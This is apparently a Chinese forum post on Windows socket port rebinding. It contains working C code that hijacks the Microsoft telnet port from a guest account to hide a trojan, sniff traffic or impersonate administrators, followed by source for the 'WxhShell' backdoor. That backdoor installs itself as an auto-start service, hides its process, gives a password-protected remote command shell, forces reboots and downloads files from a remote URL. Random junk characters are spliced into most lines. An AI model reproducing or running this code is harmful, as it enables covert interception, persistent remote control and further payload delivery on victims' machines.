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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hd+JKh!u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gJ2R(YMF  
d d8^V_Kx  
  saddr.sin_family = AF_INET; i;yz%Ug  
W C}mt%H*O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G>cTqD6gT  
'tF<7\!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \}Hk`n)Aq  
b@nbXm]Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S&@~F|  
6jom6/F 4  
  这意味着什么?意味着可以进行如下的攻击: B,}%1+*  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9'O<d/xj/  
J0^p\mG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AlGD .K  
6VRVk7"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?zxKk(J  
-j<m0XUQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m_oBV|v{  
852$Ui|I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .] 5&\  
N\mV+f3A@,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k?1cxY s  
}i?P( Au  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 JWM/np6  
8&H1w9NrX_  
  #include Xig%Q~oMp  
  #include >KC*xa"  
  #include dA)7d77  
  #include    *F2obpU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z$Qlr:7  
  int main() #kk_iS>8  
  { Nqz-Mr`  
  WORD wVersionRequested; 3)I v8mA  
  DWORD ret; 2L ~U^  
  WSADATA wsaData; lYU_uFOs\  
  BOOL val; RQv`D&u_  
  SOCKADDR_IN saddr; /9W-;l{=z  
  SOCKADDR_IN scaddr; y%p&g  
  int err; L2AZ0E"ub  
  SOCKET s; -x5^>+Y4  
  SOCKET sc; o"K{^ L~u  
  int caddsize; @~/LsYA:  
  HANDLE mt; 1,BtOzuRo  
  DWORD tid;   QZ%_hvY[%>  
  wVersionRequested = MAKEWORD( 2, 2 ); yP~D."  
  err = WSAStartup( wVersionRequested, &wsaData ); #2|sS|0<  
  if ( err != 0 ) { G`gYwgU;  
  printf("error!WSAStartup failed!\n"); B +_D*a  
  return -1; u]CW5snz  
  } hNSV}~h  
  saddr.sin_family = AF_INET; sLb[ZQ;j  
   H#G'q_uHH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PJ9JRG7j  
n(-XI&Kn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z$H |8L  
  saddr.sin_port = htons(23); naW}[y*y;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G$Z8k,g+<7  
  { ( 8k3z`  
  printf("error!socket failed!\n"); >lN{FJ  
  return -1; r!#NFek}  
  } Qq^>7OU>Co  
  val = TRUE; A.*}<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TE^BfAw@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uo5l =\  
  { b'uH4[zX%  
  printf("error!setsockopt failed!\n"); `[/BG)4  
  return -1; "?n~ /9`  
  } hZ5h(CQ?"#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bu*ge~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fp|x,-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m>:3Ku  
(H0nO7Bk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (Kv[~W7lb  
  { cqi: Rj  
  ret=GetLastError(); g@KS\.m]  
  printf("error!bind failed!\n"); VI[ikNpX  
  return -1; FG1$_zN |  
  } a4O!q;tu7  
  listen(s,2); PtwE[YDu  
  while(1) #Z(8 vA^@  
  { 8iR%?5 >K  
  caddsize = sizeof(scaddr); w~X1Il7A  
  //接受连接请求 sf@g $  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @y{Whun~  
  if(sc!=INVALID_SOCKET) Z Oyq{w!2  
  { UvxJ _  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I 4gyGg$H  
  if(mt==NULL) YjoN: z`b  
  { kMf]~EZ?  
  printf("Thread Creat Failed!\n"); mS0*%[S {  
  break; ?UQE;0 B  
  } ,d@.@a] `  
  } >/eQjp?:  
  CloseHandle(mt); @ 4j#X  
  } {pm>F}Cwy  
  closesocket(s); ]7fqVOiOu  
  WSACleanup(); J'.U+XU  
  return 0; S_ e }>-  
  }   G}AfCd4  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^+Ec}+ Q  
  { LKFL2|af  
  SOCKET ss = (SOCKET)lpParam; x$?{)EY  
  SOCKET sc;  J$v0  
  unsigned char buf[4096]; *GTCVxu  
  SOCKADDR_IN saddr; v.c2(w/P  
  long num; } |(KI  
  DWORD val; K Ps 5? X  
  DWORD ret; DU|0#z=*t5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A#f@0W:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Tr-gdX ;  
  saddr.sin_family = AF_INET; )1Z*kY?f!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z~9\7QJn  
  saddr.sin_port = htons(23); |*e >hk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OtrO"K  
  { {xMY2I++  
  printf("error!socket failed!\n"); 1wi{lJaz  
  return -1; w*f.Fu(su  
  } =;i@,{ ~  
  val = 100; CT6a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P}KyT?X:  
  { 2~K.m@U}!Z  
  ret = GetLastError(); K9;pX2^z9  
  return -1; 8m2-fuJz  
  } =ugxPgn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RL[?&L$7^%  
  { ?s dVd  
  ret = GetLastError(); tz6d}$  
  return -1; x3MV"hm2  
  } )R<hYd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ry/AF  
  { C;y3?+6P$  
  printf("error!socket connect failed!\n"); O)kC[e4  
  closesocket(sc); ~Q0gSazXFt  
  closesocket(ss); n[[rI0]g  
  return -1; d@8=%x:  
  } w<| ^i*  
  while(1) ?A3pXa  
  { }`{aeVHT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o2He}t2o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E dhT;!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )ZEUD] X  
  num = recv(ss,buf,4096,0); tT ~}lW)Y  
  if(num>0) [kDjht|$>  
  send(sc,buf,num,0); wyMj^+ 2m  
  else if(num==0) .Qn54tS0q  
  break; ,)@Q,EHN;  
  num = recv(sc,buf,4096,0); 3tMs61 3  
  if(num>0) Vp  .($  
  send(ss,buf,num,0); fq~ <^B  
  else if(num==0) k^}8=,j}  
  break; XnHcU=~q  
  } \`-/\N  
  closesocket(ss); >sv|  
  closesocket(sc); y<.0+YL-e+  
  return 0 ; (A}##h  
  } ;3s_#L  
L 5J=+k,  
=cs;avtL  
========================================================== )Fe-C  
Eb7qM.Q] &  
下边附上一个代码,,WXhSHELL l4I@6@  
ZTfs&5  
========================================================== D0Oh,Fe#M\  
<(TTYf8lS  
#include "stdafx.h"  (f,D$mX  
0Y,_ DU  
#include <stdio.h> 7?:7}xb-  
#include <string.h> iov55jT~l@  
#include <windows.h> 6kK\nZ$o$  
#include <winsock2.h> E5w. wx  
#include <winsvc.h> 0(iTnzx0  
#include <urlmon.h> 6.kX~$K  
RMMx6L|-:  
#pragma comment (lib, "Ws2_32.lib") a)$"   
#pragma comment (lib, "urlmon.lib") ?%J{1+hY  
12M&qqV  
#define MAX_USER   100 // 最大客户端连接数 rhO ]4A  
#define BUF_SOCK   200 // sock buffer 8zP{Cmm  
#define KEY_BUFF   255 // 输入 buffer ~+d?d6*c  
9&q<6TZz  
#define REBOOT     0   // 重启 M;V (Tf  
#define SHUTDOWN   1   // 关机 >:!TfuU^R  
D^W6Cq5\  
#define DEF_PORT   5000 // 监听端口  O;h]  
M:z)uLDw  
#define REG_LEN     16   // 注册表键长度 )sWdN(E3  
#define SVC_LEN     80   // NT服务名长度 !2s< v  
L:"i,K#P  
// 从dll定义API eN fo8xUG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7d*SZmD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ml1yk)3G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ER~m &JI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4J Bm|Pf(  
 +ulBy  
// wxhshell配置信息 cVv+,l4 V0  
struct WSCFG { p&ytUT na  
  int ws_port;         // 监听端口 8'Sw?FbVA/  
  char ws_passstr[REG_LEN]; // 口令 W|_ @ju  
  int ws_autoins;       // 安装标记, 1=yes 0=no H)(@A W+-  
  char ws_regname[REG_LEN]; // 注册表键名 P/5bNK!  
  char ws_svcname[REG_LEN]; // 服务名 FVNxjMm,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R| [mp%Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y [k%<f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4vq,W_n.hQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vi')-1Y KM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w'oP{=y[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) E.KB6  
6*u#^">,<  
}; t33/QW r  
*9 M 5'  
// default Wxhshell configuration 'L4@|c~x  
struct WSCFG wscfg={DEF_PORT, 9`yG[OA  
    "xuhuanlingzhe", t<mT=(zt*  
    1, t$^1A1Ef  
    "Wxhshell", Z[<rz6%cB  
    "Wxhshell", ,rVm81-2  
            "WxhShell Service", i$gm/ZO  
    "Wrsky Windows CmdShell Service", r\Nf309~  
    "Please Input Your Password: ", !7 "-9n  
  1, 9kss) xy  
  "http://www.wrsky.com/wxhshell.exe", :SUPGaUJ"  
  "Wxhshell.exe" 0 Po",\^  
    }; kKFmTo   
(NK$2A/p  
// 消息定义模块 6AV@O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  KoVy,@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]BGWJA5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7t=e"|^  
char *msg_ws_ext="\n\rExit."; m,NUNd#)\  
char *msg_ws_end="\n\rQuit."; ~9c?g(0  
char *msg_ws_boot="\n\rReboot..."; DP**pf%j  
char *msg_ws_poff="\n\rShutdown..."; YzJ\< tkp  
char *msg_ws_down="\n\rSave to "; _Bm/v^(  
N+%E=D>  
char *msg_ws_err="\n\rErr!"; :=WiT_M  
char *msg_ws_ok="\n\rOK!"; OBaG'lrZy  
@ de_|*c  
char ExeFile[MAX_PATH]; &0Yv*,4]  
int nUser = 0; ]vj=M-:+  
HANDLE handles[MAX_USER];  F* "  
int OsIsNt; 6KC.l}Y*  
a<9gD,]P  
SERVICE_STATUS       serviceStatus; Q= IA|rN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HTiqErD2_  
|!:ImX@  
// 函数声明 1Y!" C  
int Install(void); gBfYm  
int Uninstall(void); &m2FEQLj  
int DownloadFile(char *sURL, SOCKET wsh); }mQ7N&cC  
int Boot(int flag); ]ZKmf}A)1P  
void HideProc(void); 8wz%e(  
int GetOsVer(void); t:NTk(  
int Wxhshell(SOCKET wsl); >ly`1t1  
void TalkWithClient(void *cs); }la\?I  
int CmdShell(SOCKET sock); aZEi|\VU  
int StartFromService(void); "Opk:;.  
int StartWxhshell(LPSTR lpCmdLine); ka? |_(  
vHSX3\(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fWiefv[&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k4r;t: O^  
pwAawm  
// 数据结构和表定义 SQx%CcW9d  
SERVICE_TABLE_ENTRY DispatchTable[] = `_Iy8rv:P  
{ _|qJ)gD[  
{wscfg.ws_svcname, NTServiceMain}, \x?q!(;G2  
{NULL, NULL} ,5^XjU3c=  
}; ;/?M&rX  
2>BWu  
// 自我安装 )7@f{E#w  
int Install(void) Lt>"R! "x  
{ d\&{Ev9v  
  char svExeFile[MAX_PATH]; o}H7;v8H  
  HKEY key; )jk X&7x  
  strcpy(svExeFile,ExeFile); ?,~B@Kx  
J%`-K"NB  
// 如果是win9x系统,修改注册表设为自启动 u:#+R_0#97  
if(!OsIsNt) { \|9@*]6:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pJ35M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P(pw$ q$S  
  RegCloseKey(key); &5>R>rnB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5ZeE& vG2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m?cC0(6  
  RegCloseKey(key); c ;_ T  
  return 0; C-!!1-Eq?:  
    } 5|S|S))_Q  
  } Pqiw[+a$  
} &|>CW:)&1"  
else { %xZYIY Kf  
BUT{}2+K  
// 如果是NT以上系统,安装为系统服务 2@K D '^(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s;V~dxAiv  
if (schSCManager!=0) `k b]tf  
{ d,kh6'g2@  
  SC_HANDLE schService = CreateService 9}p>='  
  ( .?{rd3[ec  
  schSCManager, y)iT-$bQ  
  wscfg.ws_svcname, F:nhSd  
  wscfg.ws_svcdisp, Ibt~e4f  
  SERVICE_ALL_ACCESS, &KinCh7l L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K%AbM#o<  
  SERVICE_AUTO_START, zUX%$N+w}>  
  SERVICE_ERROR_NORMAL, sq `f?tA?  
  svExeFile, 4CA(` _i~  
  NULL, |iN!V3#S  
  NULL, k"_i7  
  NULL, :lj1[q:Y>  
  NULL, Y_m/? [:  
  NULL ?+#|h;M8  
  ); ;UuCSfs{  
  if (schService!=0) d%1Tv1={  
  { ~uy{6U{&I  
  CloseServiceHandle(schService); Ip#BR!$n  
  CloseServiceHandle(schSCManager); xs+pCK|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0/{$5gy&  
  strcat(svExeFile,wscfg.ws_svcname); `K -j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *J^l r"%c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o5=1  
  RegCloseKey(key); Q9,H 0r-%  
  return 0; lS"g[O+  
    } o!:V=F  
  } >YP6/w,e  
  CloseServiceHandle(schSCManager); g'2'K  
} e$H N/O  
} :`('lrq  
MmUtBT  
return 1; vv='.R, D  
} zN}1Qh  
A+3,y<j\  
// 自我卸载 c@H_f  
int Uninstall(void) ;',hwo_LBf  
{ {OFbU  
  HKEY key; cp D=9k!*K  
0($@9k4!/  
if(!OsIsNt) { [O)(0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >6fc` 3*!  
  RegDeleteValue(key,wscfg.ws_regname); "rhU2jT=c  
  RegCloseKey(key); A4 ;EtW+F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Axb,{X[6g  
  RegDeleteValue(key,wscfg.ws_regname); R9=K/  
  RegCloseKey(key); 0\fV'JDOR  
  return 0; k?(x}IZdG  
  } +/!kL0[v  
} +; /]'  
} \:>GF-Z(  
else { `qP <S  
Bw5zh1ALC;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XLwmXi  
if (schSCManager!=0) J<K- Yeph  
{ K@uUe3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sEBZ-qql  
  if (schService!=0) %:61@<  
  { tE&@U$0>o  
  if(DeleteService(schService)!=0) { ""AP-7  
  CloseServiceHandle(schService); Q[g>ee  
  CloseServiceHandle(schSCManager); F_28q15~:  
  return 0; )ro3yq4??  
  } |Z\?nZ~  
  CloseServiceHandle(schService); y"N7r1Pf  
  } <*D{uMw  
  CloseServiceHandle(schSCManager); ,&+"|,m  
} .KzGb4U  
} I~:vX^%9  
w8MQA!=l  
return 1; -TIrbYS`  
} $raxf80A  
&x~&]  
// 从指定url下载文件 eK<X7m^  
int DownloadFile(char *sURL, SOCKET wsh) RM^3Snd=V  
{ SVr3OyzI  
  HRESULT hr; vTrjhTa\  
char seps[]= "/"; -)cau-(X  
char *token; Cs2hi,s  
char *file; .MoOjx?  
char myURL[MAX_PATH]; jg2 UX   
char myFILE[MAX_PATH]; cvoE4&m!  
T6T3:DG_B  
strcpy(myURL,sURL); px|y_.DB2x  
  token=strtok(myURL,seps); PKDzIA~T  
  while(token!=NULL) x#wkODLqi  
  { m8Wv46%  
    file=token; ~|W0+&):  
  token=strtok(NULL,seps); , 7` /D  
  } !Q-h#']~L  
V L^.7U  
GetCurrentDirectory(MAX_PATH,myFILE); kzMul<>sl  
strcat(myFILE, "\\"); h6Femis  
strcat(myFILE, file); /(/Z~J[  
  send(wsh,myFILE,strlen(myFILE),0); d! BQ%a  
send(wsh,"...",3,0); C!]R0L*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KyQO>g{R  
  if(hr==S_OK) JnC$}amr  
return 0; /O,>s  
else ,'FH[2  
return 1; G9`;Z^<L  
G~$.Af!9W  
} ejr9e@D^  
CV9o,rL  
// 系统电源模块 J%8M+!`F  
int Boot(int flag) 4CUoXs'  
{ ~&zrDj~FI  
  HANDLE hToken; MCPVql`+`q  
  TOKEN_PRIVILEGES tkp; }]dK26pX  
&E{CQ#k  
  if(OsIsNt) { 8$!&D&v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qqp_(5S|>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4*j6~  
    tkp.PrivilegeCount = 1; |@84l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l|, Hj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NNKI+!vg  
if(flag==REBOOT) { (8Q0?SZN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )K=%s%3h<  
  return 0; d|P,e;m-  
} @W4tnM,#  
else { .G ^-. p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #hp 7@ Tu  
  return 0; H@+1I?l  
} *En29N#a{  
  } 7H$I9e  
  else { [uJfmrEH  
if(flag==REBOOT) { 6MewQ{hi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fGeDygV^`  
  return 0; y4@zi"G  
} E{LLxGAEZ  
else { oFO)28Btv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r JvtE}x1  
  return 0; OouIV3  
} iMT[s b  
} "aU) [  
q=EHB5!q  
return 1; A` 'k5uG  
} $#ve^.VHv  
-Kas9\VWEw  
// win9x进程隐藏模块 :4Gc'b R  
void HideProc(void) qjcPJ  
{ &oz^dlw  
p)u?x)w=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Po)!vL"   
  if ( hKernel != NULL ) mp !S<m  
  { _/S qw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xj ?#]GR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wz8 MV -D  
    FreeLibrary(hKernel); |)Q#U$ m  
  } s%& /Zt  
KT 4h3D`,  
return; }Wk^7[Y  
} qG6?k}\\  
"jUM}@q5  
// 获取操作系统版本 |;(95  
int GetOsVer(void) {Vw\#/,  
{ 6>yfm4o  
  OSVERSIONINFO winfo; ~nVO%IxM4J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); azs lNL  
  GetVersionEx(&winfo); a-cLy*W,~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lhts4D/V7  
  return 1; rIh"MQvi[  
  else g3Xa b  
  return 0; Qm"&=<  
} ?rJe"TOIy  
8 t)?$j$  
// 客户端句柄模块 bQvhBa?  
int Wxhshell(SOCKET wsl) 5LX%S.CW  
{ < dD)>Y.  
  SOCKET wsh; CE|iu!-4  
  struct sockaddr_in client; cXd?48O  
  DWORD myID; ee}HQ.}Ja  
? PI2X.6  
  while(nUser<MAX_USER) }fV+Kd$CB  
{ fi,h`mdT?  
  int nSize=sizeof(client); 8v ZY+Q >  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ; u@& [  
  if(wsh==INVALID_SOCKET) return 1; t@;r~S b  
vG{lxPIj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d:L|BkQ7*  
if(handles[nUser]==0) 6CV9ewr  
  closesocket(wsh); m]?C @ina  
else .eHOG]H  
  nUser++; :~{Nf-y0`1  
  } T2dv!}7p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QVR8b3T@  
<2V:tj)?P  
  return 0; MQY}}a-oug  
} P3k@ptc-K  
ng{ "W|  
// 关闭 socket u)4eu,MBT  
void CloseIt(SOCKET wsh) \-W|)H  
{ Q1'4xWu  
closesocket(wsh); r$cq2pkX  
nUser--; 4G_At  
ExitThread(0); 3FgTM(  
} CX}==0od  
z[sP/{~z  
// 客户端请求句柄 k9_c<TSzu  
void TalkWithClient(void *cs) k0v&U@+-J  
{ fe4Ki  
TF %MO\!  
  SOCKET wsh=(SOCKET)cs; ;{Nc9d  
  char pwd[SVC_LEN]; V#,jUH|  
  char cmd[KEY_BUFF]; 5hvg]w95;  
char chr[1]; 8W2oGL6  
int i,j; !de`K |  
3JFX~"rV9I  
  while (nUser < MAX_USER) { XCd[<\l  
TY`t3  
if(wscfg.ws_passstr) { E;bv;RUio  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u Wxl\+_i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wj2z?0}o  
  //ZeroMemory(pwd,KEY_BUFF); ;i,3KJ[L  
      i=0; O%)Wo?)HM  
  while(i<SVC_LEN) { ["1Iz{  
};;k5z I%  
  // 设置超时 ms{iQ:'9  
  fd_set FdRead; _]t^F9l  
  struct timeval TimeOut; 5L y Wg2  
  FD_ZERO(&FdRead); :[J'B4>9  
  FD_SET(wsh,&FdRead); mv{bX|.  
  TimeOut.tv_sec=8; sKwUY{u\M  
  TimeOut.tv_usec=0; [:(hqi!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~zYk,;m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xl ]1TB@  
d#CAP9n;'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @h,3"2W{Ev  
  pwd=chr[0]; ]S 3l' "  
  if(chr[0]==0xd || chr[0]==0xa) { IKVFbTX:y  
  pwd=0; O^~Z-; FA  
  break; JFu9_=%+  
  } "O/ 6SV  
  i++; 6 hiWgbE  
    } 7V2xg h!W  
rHp2I6.0a  
  // 如果是非法用户,关闭 socket )wNcz~ Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V [Wo9Y\  
} a7}O.NDf  
yHf:/8Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~0Z.,p_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .$ X|96~$  
WRp0.  
while(1) { uI\6":/u  
=`ECM7  
  ZeroMemory(cmd,KEY_BUFF); |@BX*r  
[=TD)o>W(p  
      // 自动支持客户端 telnet标准   )l H`a  
  j=0; 7d^ ~.F  
  while(j<KEY_BUFF) { _>E=.$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @y2cC6+'t  
  cmd[j]=chr[0]; oc"7|YG  
  if(chr[0]==0xa || chr[0]==0xd) { \DcO .`L  
  cmd[j]=0; J,*+Ak ~  
  break; X@ S~D7|ja  
  } q.bx nta"  
  j++; $kBcnk  
    } <~zPt&C]V  
:n,x?bM  
  // 下载文件 ?|Ey WAL  
  if(strstr(cmd,"http://")) { v Q51-.g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BB imP  
  if(DownloadFile(cmd,wsh)) #~ZaN;u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @a i2A|  
  else 9y*2AaxW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5KTPlqm0qF  
  } 6[,7g&C  
  else { @77+K:9I 7  
$ZkT G  
    switch(cmd[0]) { i`w)dS  
  t=fr`|!  
  // 帮助 w!jY(WK U  
  case '?': { EE-wi@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); phR:=Ox|1  
    break; 89j*uT  
  } `<-/e%8  
  // 安装 u\(>a  
  case 'i': { ]Pe8G(E!  
    if(Install()) )jjL'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yN/g;bQ  
    else ]wwNmmE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XEBj=5sG  
    break; ar _@"+tZ  
    } jLn|zK  
  // 卸载 !JtM`x/yR  
  case 'r': { B,] AfH  
    if(Uninstall()) _ glB<r$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  =>XjChM  
    else yO` |X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >T)tAZ?WK  
    break; @F/,~|{iM  
    } 2({|LQqk  
  // 显示 wxhshell 所在路径 ECk3Da  
  case 'p': { ]xGpN ]u  
    char svExeFile[MAX_PATH];  niyI$OC  
    strcpy(svExeFile,"\n\r"); Za]~[F  
      strcat(svExeFile,ExeFile); vX_;Y#uD  
        send(wsh,svExeFile,strlen(svExeFile),0); ?R_fg  
    break; UrO& K]Z  
    } S`Z[MNY  
  // 重启 NA$%Up  
  case 'b': { ipE|)Ns  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [?bq4u`  
    if(Boot(REBOOT)) U6.hH%\}@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'm-A d+4t  
    else { @1D3E=  
    closesocket(wsh); @Z5,j)  
    ExitThread(0); o]WcODJdl  
    } ] Upr<!  
    break; UW1i%u k  
    } Wt.['`c<  
  // 关机 7K1_$vd  
  case 'd': { ..5. ":  
